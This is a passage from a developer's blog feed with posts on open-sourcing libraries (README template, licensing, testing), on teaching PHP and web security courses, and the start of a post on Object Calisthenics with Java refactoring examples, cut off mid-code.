&lt;p&gt;Being a sponge is all about &lt;strong&gt;learning&lt;/strong&gt; and &lt;strong&gt;reading&lt;/strong&gt; a lot, &lt;em&gt;i.e.&lt;/em&gt; being
interested in plenty of topics, and then &lt;strong&gt;being able to share relevant
information&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Is it bad? &lt;em&gt;No.&lt;/em&gt; I believe that I am lucky, and you should too. Being curious is
important, being able to communicate clearly is even more important!  No matter
how technically “strong” you are, if you are not able to explain what you are
doing or if you can’t discuss with your teammates, you are certainly not a “good
fit” for most teams.&lt;/p&gt;

&lt;p&gt;Be curious, learn new things, then talk to your teammates. You will become more
valuable over time. People will also naturally come to you to seek advice or
simply share their new shiny things with you.&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>On Open Sourcing Libraries</title>
        <link href="https://williamdurand.fr/2013/07/04/on-open-sourcing-libraries/"/>
        <updated>2013-07-04T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/07/04/on-open-sourcing-libraries</id>
        <content type="html">&lt;p&gt;Open sourcing a library is easy, it is just a matter of seconds. All you need is
a public repository hosted somewhere (&lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt;,
&lt;a href=&quot;https://bitbucket.org/&quot;&gt;Bitbucket&lt;/a&gt;, etc.) right? &lt;em&gt;Nope!&lt;/em&gt; Actually, it would be
better for everyone if you would &lt;strong&gt;add some love to your new shiny library&lt;/strong&gt; you
just made publicly available. Let’s see how to do that.&lt;/p&gt;

&lt;h2 id=&quot;readme&quot;&gt;README&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;README&lt;/code&gt; file is a &lt;strong&gt;first-class citizen&lt;/strong&gt; in your project. You MUST have
it! This file MUST contain the &lt;strong&gt;name&lt;/strong&gt;, and a (short) &lt;strong&gt;description&lt;/strong&gt; of your
library. See this description section as an &lt;strong&gt;elevator pitch&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Then comes the &lt;strong&gt;Usage&lt;/strong&gt; section. Describe how to use your library, with both
words and code snippets. Add screenshots or GIFs. Be as exhaustive as you can.
This is your project’s &lt;strong&gt;documentation&lt;/strong&gt;, and most of the time for libraries,
this will be the only documentation you will provide.&lt;/p&gt;

&lt;p&gt;Writing the &lt;strong&gt;Usage&lt;/strong&gt; part first is not a random choice. Your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;README&lt;/code&gt; file
should blow your reader’s mind, so that they will use your library and
contribute back (or not).&lt;/p&gt;

&lt;p&gt;The third section you MUST include is the &lt;strong&gt;Installation&lt;/strong&gt; one. This section
explains how to quickly install your library, from a &lt;em&gt;user&lt;/em&gt; point of view. If
you have more than one way to install your project, describe the one you
consider the best first, and then explain the alternatives.&lt;/p&gt;

&lt;p&gt;You can add an optional &lt;strong&gt;Requirements&lt;/strong&gt; section like &lt;em&gt;Depends on X version Y&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The fourth required section is &lt;strong&gt;Contributing&lt;/strong&gt;. This can be replaced by the use
of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CONTRIBUTING&lt;/code&gt; file though. Explain &lt;strong&gt;how to hack your library&lt;/strong&gt;, how to
report bugs or how to submit feature requests. It is important to be exhaustive
here.
&lt;strong&gt;Explain the rules&lt;/strong&gt; to avoid commenting every single line in Pull Requests you
receive. Point contributors to the right tools such as linters or compilers. For
instance, here is &lt;a href=&quot;https://github.com/willdurand/Hateoas/blob/master/CONTRIBUTING.md&quot;&gt;my standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CONTRIBUTING&lt;/code&gt; file for PHP projects&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You MUST add a &lt;strong&gt;Testing&lt;/strong&gt; section too. Explain &lt;strong&gt;how to set up the test suite&lt;/strong&gt;,
how to run the functional tests, and the tools that people may have to install.&lt;/p&gt;

&lt;p&gt;Optionally, add a &lt;strong&gt;Credits&lt;/strong&gt; section if you use third-party things or if you
want to list your contributors (that could be an &lt;strong&gt;Authors&lt;/strong&gt; section though).&lt;/p&gt;

&lt;p&gt;You MUST add a &lt;a href=&quot;http://contributor-covenant.org/&quot;&gt;Contributor Code of Conduct&lt;/a&gt;
because the lack of diversity in Open Source is not acceptable, and this is an
easy way to begin addressing this problem. Unacceptable behaviors have to be
banned and unfortunately, we have to make this statement &lt;strong&gt;really&lt;/strong&gt; explicit,
for instance by adding a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CODE_OF_CONDUCT.md&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;Last but not the least, add a &lt;strong&gt;License&lt;/strong&gt; section!&lt;/p&gt;

&lt;p&gt;Here is a template:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;project-x
=========

project-x is a better way to achieve this and that, by leveraging the new API,
blablabla.

## Usage

...

## Installation

...

## Requirements

...

## Contributing

See CONTRIBUTING file.

## Running the Tests

...

## Credits

...

## Contributor Code of Conduct

Please note that this project is released with a [Contributor Code of
Conduct](http://contributor-covenant.org/). By participating in this project
you agree to abide by its terms. See CODE_OF_CONDUCT file.

## License

project-x is released under the MIT License. See the bundled LICENSE file for
details.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see, I introduced two files in this template: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LICENSE&lt;/code&gt;, and
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CONTRIBUTING&lt;/code&gt;. I already covered the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CONTRIBUTING&lt;/code&gt; file while describing
the &lt;strong&gt;Contributing&lt;/strong&gt; section. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LICENSE&lt;/code&gt; file contains the license you will
choose for your project, but which license?&lt;/p&gt;

&lt;h2 id=&quot;license&quot;&gt;License&lt;/h2&gt;

&lt;p&gt;I won’t compare all licenses, browse &lt;a href=&quot;http://www.tldrlegal.com/&quot;&gt;tl;drLegal&lt;/a&gt;
instead. It provides useful information related to Open Source licenses, with
simple words.&lt;/p&gt;

&lt;p&gt;I tend to use the &lt;a href=&quot;http://www.tldrlegal.com/license/mit-license&quot;&gt;MIT license&lt;/a&gt; as
it is very liberal. My advice here is to &lt;strong&gt;look at your community&lt;/strong&gt;, and choose
the most appropriate one. For example, in the Symfony2 (a PHP Framework)
community, most of the related projects (bundles) are released under the MIT
license. However, Java projects are often released under the &lt;a href=&quot;http://www.tldrlegal.com/license/apache-license-2.0&quot;&gt;Apache License
2.0&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;According to recent reports, &lt;a href=&quot;http://www.theregister.co.uk/2013/04/18/github_licensing_study/&quot;&gt;most GitHub projects
don’t have an Open Source
license&lt;/a&gt;. That
is bad! You MUST have a license, even if it is the &lt;a href=&quot;http://en.wikipedia.org/wiki/Beerware&quot;&gt;Beerware
license&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As mentioned on &lt;a href=&quot;https://news.ycombinator.com/item?id=5990836&quot;&gt;Hacker News&lt;/a&gt;,
&lt;a href=&quot;https://news.ycombinator.com/item?id=5992270&quot;&gt;choose your license carefully&lt;/a&gt;.
Also, &lt;a href=&quot;https://news.ycombinator.com/item?id=5992428&quot;&gt;don’t make up your own or just state that it’s public domain. Public domain
is actually not a well-defined concept internationally, and means different things
in different countries&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Even if you now have a well-documented library and a license, you can’t dominate
the world yet. In the following, I give an overview of what I consider important
in Open Source projects.&lt;/p&gt;

&lt;h2 id=&quot;write-tests--automate&quot;&gt;Write Tests &amp;amp; Automate&lt;/h2&gt;

&lt;p&gt;Open Source projects are a way to write beautiful code as there are no deadlines,
and no “customers”. Keep in mind that your projects show what you are able to do.
As a developer, &lt;strong&gt;your library is your business card&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Write tests&lt;/strong&gt;, a lot! How do you expect people to contribute to your library if
you don’t provide a test suite? So, write tests, and use &lt;a href=&quot;https://travis-ci.org/&quot;&gt;Travis
CI&lt;/a&gt;. It is all about adding a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.travis.yml&lt;/code&gt; file
describing how to run your tests. It is another way to document how to run the
tests.&lt;/p&gt;

&lt;p&gt;Add a &lt;a href=&quot;http://about.travis-ci.org/docs/user/status-images/&quot;&gt;status image&lt;/a&gt; to your
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;README&lt;/code&gt; file too.&lt;/p&gt;

&lt;p&gt;Take a look at online tools such as &lt;a href=&quot;https://scrutinizer-ci.com&quot;&gt;Scrutinizer&lt;/a&gt; for
PHP and JavaScript, or &lt;a href=&quot;http://www.puppetlinter.com/&quot;&gt;Puppet Linter&lt;/a&gt;. Automate
as much as you can.&lt;/p&gt;

&lt;h2 id=&quot;be-standard&quot;&gt;Be Standard&lt;/h2&gt;

&lt;p&gt;It is important to &lt;strong&gt;use the right tools&lt;/strong&gt; for your library. Look at your
community again, and choose the tools people tend to use. In PHP, we use
&lt;a href=&quot;http://getcomposer.org/&quot;&gt;Composer&lt;/a&gt; as dependency manager. Don’t waste your time
with PEAR or anything else, use Composer. If you write a Node.js library,
register it on &lt;a href=&quot;https://npmjs.org/&quot;&gt;npm&lt;/a&gt;. For Ruby developers, distribute your
library as a &lt;a href=&quot;http://guides.rubygems.org/make-your-own-gem/&quot;&gt;gem&lt;/a&gt;. For C#
developers, use &lt;a href=&quot;http://nuget.org/&quot;&gt;NuGet&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Another example, in Symfony2 it is considered good practice to add documentation
in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Resources/doc&lt;/code&gt;. It is a convention. &lt;strong&gt;Don’t duplicate your documentation&lt;/strong&gt;.
Add a link to quickly jump to this folder on your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;README&lt;/code&gt; file instead.&lt;/p&gt;

&lt;h2 id=&quot;managing-issues--releases&quot;&gt;Managing Issues &amp;amp; Releases&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt;,
&lt;a href=&quot;http://www.codeplex.com/&quot;&gt;CodePlex&lt;/a&gt;, or whatever you want, they all provide an
issue tracker. Use it!&lt;/p&gt;

&lt;p&gt;If you use GitHub, don’t waste your time with the Wiki. I never found a decent
workflow. Either use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;README&lt;/code&gt; file for your documentation, or use &lt;a href=&quot;https://readthedocs.org/&quot;&gt;Read The
Docs&lt;/a&gt; to host it in case you have extensive
documentation. Use GitHub Issues to manage milestones, and rely on labels to
sort your issues.&lt;/p&gt;

&lt;p&gt;Also, try to reply to all issues, as soon as possible… But &lt;a href=&quot;/2013/02/20/burnout/&quot;&gt;be
careful, and manage your time&lt;/a&gt;. Be nice with everyone, and
take time to help newcomers. It is worth learning &lt;a href=&quot;https://medium.com/p/aaa2a5437d3a&quot;&gt;how to maintain a successful
open source project&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Another advice would be to release often by tagging versions periodically.
Talking about versions, please follow the &lt;a href=&quot;http://semver.org/&quot;&gt;Semantic Versioning
Specification&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Then, maintain a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CHANGELOG&lt;/code&gt; file to help your users identify changes. If you
break backward compatibility, write an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UPGRADE&lt;/code&gt; file in order to explain how
to upgrade.&lt;/p&gt;

&lt;h2 id=&quot;you-need-feedback&quot;&gt;You Need Feedback!&lt;/h2&gt;

&lt;p&gt;The main reason why &lt;a href=&quot;https://github.com/willdurand?tab=repositories&quot;&gt;I open source a lot of
projects&lt;/a&gt; is that I can learn a
lot thanks to user feedback. So you need feedback, I need feedback, everyone
needs feedback! Share your project on Twitter, Hacker News, and so on. Spread
the word! People must know about your project, not because it is awesome, but
because people can comment on it.&lt;/p&gt;

&lt;p&gt;Use GitHub pages to create a website for your library, buy a domain if you want.&lt;/p&gt;

&lt;p&gt;Remember the world domination plan? That is pretty much all you need to achieve
this goal. We never know!&lt;/p&gt;

&lt;h2 id=&quot;hire-people&quot;&gt;Hire People&lt;/h2&gt;

&lt;p&gt;Once you dominate the world, it is important to enroll new people to help you.
That is a terrific experience! And it will give you more time for your other
Open Source projects (also known as your new world domination plans) :-)&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Open sourcing a library is not just about publishing the source code. You need
to add a few things to make it usable, and enjoyable. Documenting your projects
shows that you are able to teach, and that you are able to find the right words
to explain something. Also, it shows that you care about what you do.&lt;/p&gt;

&lt;p&gt;Don’t forget to add tests in your library, if you don’t do that at work, do it
at home. And don’t forget the license too, no excuse!&lt;/p&gt;

&lt;p&gt;It is really cool to open source projects, but avoid the &lt;a href=&quot;http://en.wikipedia.org/wiki/Not_invented_here&quot;&gt;NIH
syndrome&lt;/a&gt;. Contribute as much as
you can, open source things that don’t exist.&lt;/p&gt;

&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;

&lt;p&gt;Your library/project:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;MUST have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;README&lt;/code&gt; file including a name, a description, and the following
sections: &lt;strong&gt;Usage&lt;/strong&gt;, &lt;strong&gt;Installation&lt;/strong&gt;, &lt;strong&gt;Contributing&lt;/strong&gt;, &lt;strong&gt;Testing&lt;/strong&gt; and
&lt;strong&gt;License&lt;/strong&gt;;&lt;/li&gt;
  &lt;li&gt;MUST add a Contributor Code of Conduct;&lt;/li&gt;
  &lt;li&gt;MUST have a &lt;strong&gt;license&lt;/strong&gt; that is visible;&lt;/li&gt;
  &lt;li&gt;MUST be tested;&lt;/li&gt;
  &lt;li&gt;MUST be standard or MUST fit your community habits;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;NEED feedback;&lt;/li&gt;
  &lt;li&gt;MUST be nice;&lt;/li&gt;
  &lt;li&gt;SHOULD enroll people.&lt;/li&gt;
&lt;/ul&gt;
</content>
    </entry>
    
    <entry>
        <title>Teaching is the best way to learn</title>
        <link href="https://williamdurand.fr/2013/06/07/teaching-is-the-best-way-to-learn/"/>
        <updated>2013-06-07T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/06/07/teaching-is-the-best-way-to-learn</id>
        <content type="html">&lt;p&gt;Earlier this year, I gave lectures to undergraduate students at IUT de
Clermont-Fd (France) for the first time. I taught &lt;strong&gt;web development&lt;/strong&gt; (using
PHP) (&lt;a href=&quot;https://edu.williamdurand.fr/php-slides/&quot;&gt;slides&lt;/a&gt; &amp;amp;
&lt;a href=&quot;https://github.com/willdurand-edu/php-slides&quot;&gt;sources&lt;/a&gt;), and &lt;strong&gt;security&lt;/strong&gt;,
mainly focused on Web/APIs security
(&lt;a href=&quot;https://edu.williamdurand.fr/security-slides/&quot;&gt;slides&lt;/a&gt; &amp;amp;
&lt;a href=&quot;https://github.com/willdurand-edu/security-slides&quot;&gt;sources&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;I introduced not only general concepts and best practices in web development but
also tools such as &lt;a href=&quot;https://git-scm.com&quot;&gt;Git&lt;/a&gt;, &lt;a href=&quot;https://www.vim.org/&quot;&gt;Vim&lt;/a&gt;, &lt;a href=&quot;https://www.vagrantup.com&quot;&gt;Vagrant&lt;/a&gt;, &lt;a href=&quot;https://puppetlabs.com&quot;&gt;Puppet&lt;/a&gt;, and &lt;a href=&quot;https://github.com&quot;&gt;GitHub&lt;/a&gt;.
Each student worked with a &lt;a href=&quot;https://github.com/willdurand-edu/php-vm&quot;&gt;Virtual
Machine&lt;/a&gt; so that they could do
whatever they wanted to. Except a few issues, it was really interesting because
pushing updates to all students at once was rather easy for me. The workflow was
pretty straightforward. All students had to do was running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git pull &amp;amp;&amp;amp; vagrant
up&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Students wrote their own micro-framework in PHP, relying on components such as
the &lt;a href=&quot;https://symfony.com&quot;&gt;Symfony&lt;/a&gt; ones and managed with &lt;a href=&quot;https://getcomposer.org&quot;&gt;Composer&lt;/a&gt;. They wrote unit tests as
well as functional tests. Some students even published their own code on GitHub.
Most of them did a great job by building a web application combined to a “true”
REST API with content negotiation.&lt;/p&gt;

&lt;p&gt;As for the &lt;a href=&quot;https://edu.williamdurand.fr/security-slides/&quot;&gt;security lectures&lt;/a&gt;, I
tried to give an overview of well-known security topics, including
&lt;strong&gt;authorization&lt;/strong&gt;, &lt;strong&gt;authentication&lt;/strong&gt;, some &lt;strong&gt;authentication mechanisms&lt;/strong&gt;, and
how to &lt;strong&gt;secure the web&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Overall, teaching was a really great experience! I learned quite a few tips on
how to be better at teaching. I am used to talk to people at conferences so my
vocabulary was a bit too technical. This was the first thing I had to change
while explaining something to my students. They never did web development
before. Introducing high-level concepts using simple words is not
straightforward but it is a really good exercise for those who want to improve
their communication skills. Also, as I needed to be able to answer various
questions, I had to know my topics “by heart”, including how things worked under
the hood. To be perfectly honest, I studied for hours to be better while
performing in front of the students.&lt;/p&gt;

&lt;p&gt;I got positive feedback from students and that felt great given that it was my
first year as a teacher. I enjoyed teaching things that took me years to learn.&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>Object Calisthenics</title>
        <link href="https://williamdurand.fr/2013/06/03/object-calisthenics/"/>
        <updated>2013-06-03T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/06/03/object-calisthenics</id>
        <content type="html">&lt;p&gt;Last month, I gave a talk about &lt;a href=&quot;http://williamdurand.fr/object-calisthenics-slides/&quot;&gt;Object
Calisthenics&lt;/a&gt; at
&lt;a href=&quot;http://clermontech.org&quot;&gt;Clermont’ech&lt;/a&gt;’s
&lt;a href=&quot;http://clermontech.org/api-hours/api-hour-2.html&quot;&gt;APIHour #2&lt;/a&gt;, a local
developer group based in Clermont-Ferrand (France).&lt;/p&gt;

&lt;p&gt;I discovered &lt;strong&gt;Object Calisthenics&lt;/strong&gt; almost two years ago, but I wasn’t
open-minded enough to give them a try. A year ago, Guilherme Blanco and I were
drinking beers in Paris. He told me that Rafael Dohms and him ported the concept
of Object Calisthenics to PHP. That was awesome, and I decided to learn,
understand, and try these rules. I am now convinced that these rules are really
helpful, and that trying to respect these rules help you write &lt;strong&gt;better Oriented
Object code&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Cal • is • then • ics - /ˌkaləsˈTHeniks/&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Object Calisthenics are &lt;strong&gt;programming exercises&lt;/strong&gt;, formalized as a set of &lt;strong&gt;9
rules&lt;/strong&gt; invented by Jeff Bay in his book &lt;a href=&quot;http://pragprog.com/book/twa/thoughtworks-anthology&quot;&gt;The ThoughtWorks
Anthology&lt;/a&gt;. The word
&lt;em&gt;Object&lt;/em&gt; is related to Object Oriented Programming. The word &lt;em&gt;Calisthenics&lt;/em&gt;
is derived from greek, and means &lt;strong&gt;exercises&lt;/strong&gt; under the context of gymnastics.
By trying to follow these rules as much as possible, you will naturally change
how you write code. It doesn’t mean you have to follow all these rules, all the
time. Find your balance with these rules, use some of them only if you feel
comfortable with them.&lt;/p&gt;

&lt;p&gt;These rules focus on &lt;strong&gt;maintainability&lt;/strong&gt;, &lt;strong&gt;readability&lt;/strong&gt;, &lt;strong&gt;testability&lt;/strong&gt;,
and &lt;strong&gt;comprehensibility&lt;/strong&gt; of your code. If you already write code that is
maintainable, readable, testable, and comprehensible, then these rules will
help you write code that is more maintainable, more readable, more testable,
and more comprehensible.&lt;/p&gt;

&lt;p&gt;In the following, I will review each of these 9 rules listed below:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#1-only-one-level-of-indentation-per-method&quot;&gt;Only One Level Of Indentation Per
Method&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#2-dont-use-the-else-keyword&quot;&gt;Don’t Use The ELSE Keyword&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#3-wrap-all-primitives-and-strings&quot;&gt;Wrap All Primitives And Strings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#4-first-class-collections&quot;&gt;First Class Collections&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#5-one-dot-per-line&quot;&gt;One Dot Per Line&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#6-dont-abbreviate&quot;&gt;Don’t Abbreviate&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#7-keep-all-entities-small&quot;&gt;Keep All Entities Small&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#8-no-classes-with-more-than-two-instance-variables&quot;&gt;No Classes With More Than Two Instance
Variables&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#9-no-getterssettersproperties&quot;&gt;No Getters/Setters/Properties&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;1-only-one-level-of-indentation-per-method&quot;&gt;1. Only One Level Of Indentation Per Method&lt;/h2&gt;

&lt;p&gt;Having &lt;strong&gt;too many levels of indentation&lt;/strong&gt; in your code &lt;strong&gt;is often bad for
readability&lt;/strong&gt;, and maintainability. Most of the time, you can’t easily
understand the code without &lt;em&gt;compiling&lt;/em&gt; it in your head, especially if you have
various conditions at different level, or a loop in another loop, as shown in
this example:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Board&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;board&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;StringBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;StringBuilder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// 0&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;// 1&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// 2&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]);&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;\n&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to follow this rule, you have to split your methods up. Martin Fowler,
in his book &lt;a href=&quot;http://martinfowler.com/books/refactoring.html&quot;&gt;Refactoring&lt;/a&gt;,
introduces the &lt;a href=&quot;http://refactoring.com/catalog/extractMethod.html&quot;&gt;&lt;strong&gt;Extract
Method&lt;/strong&gt;&lt;/a&gt; pattern, which is
exactly what you have to do/use.&lt;/p&gt;

&lt;p&gt;You won’t reduce the number of lines of code, but you will &lt;strong&gt;increase
readability&lt;/strong&gt; in a significant way:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Board&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;board&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;StringBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;StringBuilder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;collectRows&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;collectRows&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;StringBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
